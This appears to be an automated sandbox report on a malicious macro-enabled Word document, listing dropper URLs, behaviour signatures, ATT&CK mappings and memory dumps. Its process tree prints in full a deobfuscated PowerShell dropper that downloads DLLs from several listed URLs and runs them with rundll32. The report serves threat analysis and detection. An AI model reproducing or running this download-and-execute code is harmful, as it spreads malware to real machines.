Analysis

  • max time kernel
    24s
  • max time network
    0s
  • platform
    windows7_x64
  • resource
    win7-en-20211104
  • submitted
    17-11-2021 06:23

General

  • Target

    DAG3HZMYGXISZJ.docm

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://evgeniys.ru/sap-logs/D6/

exe.dropper

http://crownadvertising.ca/wp-includes/OxiAACCoic/

exe.dropper

https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/

exe.dropper

http://immoinvest.com.br/blog_old/wp-admin/luoT/

exe.dropper

https://yoho.love/wp-content/e4laFBDXIvYT6O/

exe.dropper

https://www.168801.xyz/wp-content/6J3CV4meLxvZP/

exe.dropper

https://www.pasionportufuturo.pe/wp-content/XUBS/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DAG3HZMYGXISZJ.docm"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1588
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1064
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:976

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Replay Monitor

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Downloads

  • memory/976-83-0x0000000004B20000-0x0000000005171000-memory.dmp
    Filesize

    6.3MB

  • memory/976-82-0x0000000002552000-0x0000000002554000-memory.dmp
    Filesize

    8KB

  • memory/976-81-0x0000000002551000-0x0000000002552000-memory.dmp
    Filesize

    4KB

  • memory/976-80-0x0000000002550000-0x0000000002551000-memory.dmp
    Filesize

    4KB

  • memory/976-78-0x0000000000000000-mapping.dmp
  • memory/1064-77-0x0000000000000000-mapping.dmp
  • memory/1588-74-0x0000000000422000-0x0000000000426000-memory.dmp
    Filesize

    16KB

  • memory/1588-71-0x0000000000422000-0x0000000000426000-memory.dmp
    Filesize

    16KB

  • memory/1588-61-0x0000000000422000-0x0000000000426000-memory.dmp
    Filesize

    16KB

  • memory/1588-59-0x0000000000422000-0x0000000000426000-memory.dmp
    Filesize

    16KB

  • memory/1588-69-0x0000000000422000-0x0000000000426000-memory.dmp
    Filesize

    16KB

  • memory/1588-70-0x0000000000422000-0x0000000000426000-memory.dmp
    Filesize

    16KB

  • memory/1588-76-0x0000000000422000-0x0000000000426000-memory.dmp
    Filesize

    16KB

  • memory/1588-75-0x0000000000422000-0x0000000000426000-memory.dmp
    Filesize

    16KB

  • memory/1588-55-0x0000000072981000-0x0000000072984000-memory.dmp
    Filesize

    12KB

  • memory/1588-73-0x0000000000422000-0x0000000000426000-memory.dmp
    Filesize

    16KB

  • memory/1588-72-0x0000000000422000-0x0000000000426000-memory.dmp
    Filesize

    16KB

  • memory/1588-64-0x0000000000422000-0x0000000000426000-memory.dmp
    Filesize

    16KB

  • memory/1588-68-0x0000000000422000-0x0000000000426000-memory.dmp
    Filesize

    16KB

  • memory/1588-67-0x0000000000422000-0x0000000000426000-memory.dmp
    Filesize

    16KB

  • memory/1588-66-0x0000000000422000-0x0000000000426000-memory.dmp
    Filesize

    16KB

  • memory/1588-65-0x0000000000422000-0x0000000000426000-memory.dmp
    Filesize

    16KB

  • memory/1588-62-0x0000000000422000-0x0000000000426000-memory.dmp
    Filesize

    16KB

  • memory/1588-63-0x0000000000422000-0x0000000000426000-memory.dmp
    Filesize

    16KB

  • memory/1588-60-0x0000000000422000-0x0000000000426000-memory.dmp
    Filesize

    16KB

  • memory/1588-58-0x0000000075731000-0x0000000075733000-memory.dmp
    Filesize

    8KB

  • memory/1588-57-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1588-56-0x0000000070401000-0x0000000070403000-memory.dmp
    Filesize

    8KB